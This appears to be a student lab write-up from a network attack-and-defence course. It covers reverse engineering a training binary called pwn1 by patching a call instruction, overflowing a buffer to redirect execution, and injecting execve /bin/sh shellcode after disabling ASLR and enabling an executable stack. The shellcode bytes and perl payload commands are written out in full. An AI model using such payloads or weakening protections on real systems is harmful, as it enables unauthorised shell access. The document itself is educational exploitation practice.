2018-2019-2 网络对抗技术 20165332 Exp1 PC平台逆向破解

NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP汇编指令:执行到NOP指令时,CPU仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。

JNE汇编指令:条件转移指令,如果不相等则跳转。

JE汇编指令:如果条件相等则跳转。

JMP汇编指令:直接跳转到所需跳转的位置。

CMP汇编指令:减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

任务一、直接修改程序机器指令,改变程序执行流程

1、首先将pwn1文件通过共享文件夹传入虚拟机当中,通过chmod +x pwn1指令加权限,然后objdump -d pwn1,反汇编pwn1文件。





2、反汇编结束后发现:main函数里面有一步call 8048491,机器码指令为e8 d7 ff ff ff(call的机器码就是e8,后面是地址)。

通过进一步的分析:08048491是0804847d是我们的跳转目标。

  • vi pwn1进入命令模式
  • 输入:%!xxd将显示模式切换为十六进制
  • 在底行模式输入/e8 d7定位需要修改的地方,并确认
  • 进入插入模式,修改d7为c3
  • 输入:%!xxd -r将十六进制转换为原格式
  • 使用:wq保存并退出



    通过上述步骤看见我的main函数里面已经修改为e8 c3 ff ff ff

4、执行./pwn1文件可以成功获取shell:



完成第一个实验。

二、通过构造输入参数,造成BOF攻击,改变程序执行流

1、

使用gdb命令,file pwn1载入pwn1文件,输入gdb pwn1。

输入r执行pwn1,这时程序正常执行,在foo子函数调用的过程中,需要我们输入一个字符串。

输入36个字符后回车:abcdefghijklmnopqrstuvwxyz1234567890



2、

此时eip寄存器中的值为0x30393837,eip寄存器的值是保存程序下一步所要执行指令的地址,本次实验用的是小端机器,30、39、38、37分别是0、9、8、7对应的ASCII码,那么也就是说最后4位刚好完成溢出,覆盖掉返回地址了。

我们需要使用perl语句,用管道的方式把上一个命令的结果作为下一个的输入。

使用:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

然后将input的输入,通过管道符“|”,作为pwn1的输入。攻击成功以后出现的截图:



完成第二个实验。

三、注入Shellcode并执行

shellcode就是一段机器指令(code)

通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。

在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

首先使用apt-get install execstack命令安装execstack。

修改以下内容:

  • 设置堆栈可执行execstack -s pwn1
  • 查询文件的堆栈是否可执行 execstack -q pwn1
  • 关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
  • 查询地址随机化是否关闭(0代表关闭,2代表开启)more /proc/sys/kernel/randomize_va_space

用perl语言输入代码

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

上面的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们把它改为这段shellcode的地址。

确定返回地址的值

将写好的代码通过管道方式输入给程序pwn1中的foo函数进行覆盖

(cat input_shellcode;cat) | ./pwn1

打开另外一个终端,用gdb来调试pwn1这个进程

ps -ef | grep pwn1确定pwn1的进程号

启动gdb调试这个程序 gdb attach 1964

  • 设置断点来查看注入buf的内存地址disassemble foo
  • ret的地址为 0x080484ae,ret完就会跳到我们覆盖的返回地址了
  • break *0x080484ae设置断点
  • 在另一个终端按下回车,这样程序就会执行之后在断点处停下来
  • 再在gdb调试的终端输入 c 继续运行程序
  • 通过info r esp查看esp寄存器的地址



    可以看到0x01020304所在的地址为0xffffd22c,那么注入的shellcode代码的地址应该在该地址后四个字节的位置,即

0xffffd22c + 0x00000004 = 0xffffd230

退出gdp调试。

输入

perl -e 'print "A" x 32;print "\x30\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

执行程序,攻击成功

2018-2019-2 网络对抗技术 20165332 Exp1 PC平台逆向破解的更多相关文章

  1. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  2. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  3. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  4. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  5. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  6. 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...

  7. 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215

    2018-2019-2 <网络对抗技术> Exp1 PC平台逆向破解 20165215 目录 知识点描述 实验步骤 (一)直接修改程序机器指令,改变程序执行流程 (二)通过构造输入参数,造 ...

  8. 2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165316 <网络对抗技术>Exp1 PC平台逆向破解 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件 ...

  9. 20165214 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3

    <网络对抗技术>Exp1 PC平台逆向破解之"逆向及Bof基础实践说明" Week3 一. 实验预习 1.什么是漏洞?漏洞有什么危害? 漏洞就是在计算机硬件.软件.协议 ...

随机推荐

  1. SQL Server 2008 R2数据库镜像部署图文教程

    数据库镜像是一种针对数据库高可用性的基于软件的解决方案.其维护着一个数据库的两个相同的副本,这两个副本分别放置在不同的SQL Server数据库实例中 概述 “数据库镜像”是一种针对数据库高可用性的基 ...

  2. 集成tomcat插件到eclipse

    Eclipse中Tomcat的配置及简单例子 环境: 系统: Windows 7 64位专业版 Eclipse: Eclipse Java EE IDE for Web Developers.     ...

  3. Google Now 'not available in your country'

    Google Now 'not available in your country' Don't know how to cope with this problem.

  4. 利用Dockerfile构建一个基于CentOS 7镜像

    利用Dockerfile构建一个基于CentOS 7,包括java 8, tomcat 7,php ,mysql+mycat的镜像. Dockerfile内容如下: FROM centosMAINTA ...

  5. drop user ora-604 ora-54

    SQL> drop user EFMIS_87_LK cascade;drop user EFMIS_87_LK cascade*ERROR at line 1:ORA-00604: error ...

  6. 探究 Oracle 高水位对数据库性能影响

    在开始深入分析之前,让我们先来了解一下高水位线 HWM. 一. HWM 的基本原理 (概念) 在 Oracle 中,高水位线(High-warter mark, HWM)被用来形容数据块的使用位置,即 ...

  7. android 异步线程刷新UI 以及 JSON解析 以及 url get请求

    import android.os.Handler; import android.os.Message; 1. Handler mHandler = new Handler() { @Overrid ...

  8. 002-spring cache 基于声明式注解的缓存-02-CachePut、CacheEvict、Caching、CacheConfig、EnableCaching、自定义

    1.2.CachePut annotation 在支持Spring Cache的环境下,对于使用@Cacheable标注的方法,Spring在每次执行前都会检查Cache中是否存在相同key的缓存元素 ...

  9. 驼峰命名和下划线命名互转php实现

    驼峰命名和下划线命名经常需要互转,下面提供两种php的实现方式.第一种方法效率相对差一些,实现方式如下: //驼峰命名转下划线命名 function toUnderScore($str) { $dst ...

  10. 基因芯片与NGS区别[转载]

    转自:http://blog.sina.com.cn/s/blog_40d4ae110101fjzy.html 1 二代测序与基因芯片的区别与优缺点. 生物芯片相对第二代测序而言,优势在于价格便宜,便 ...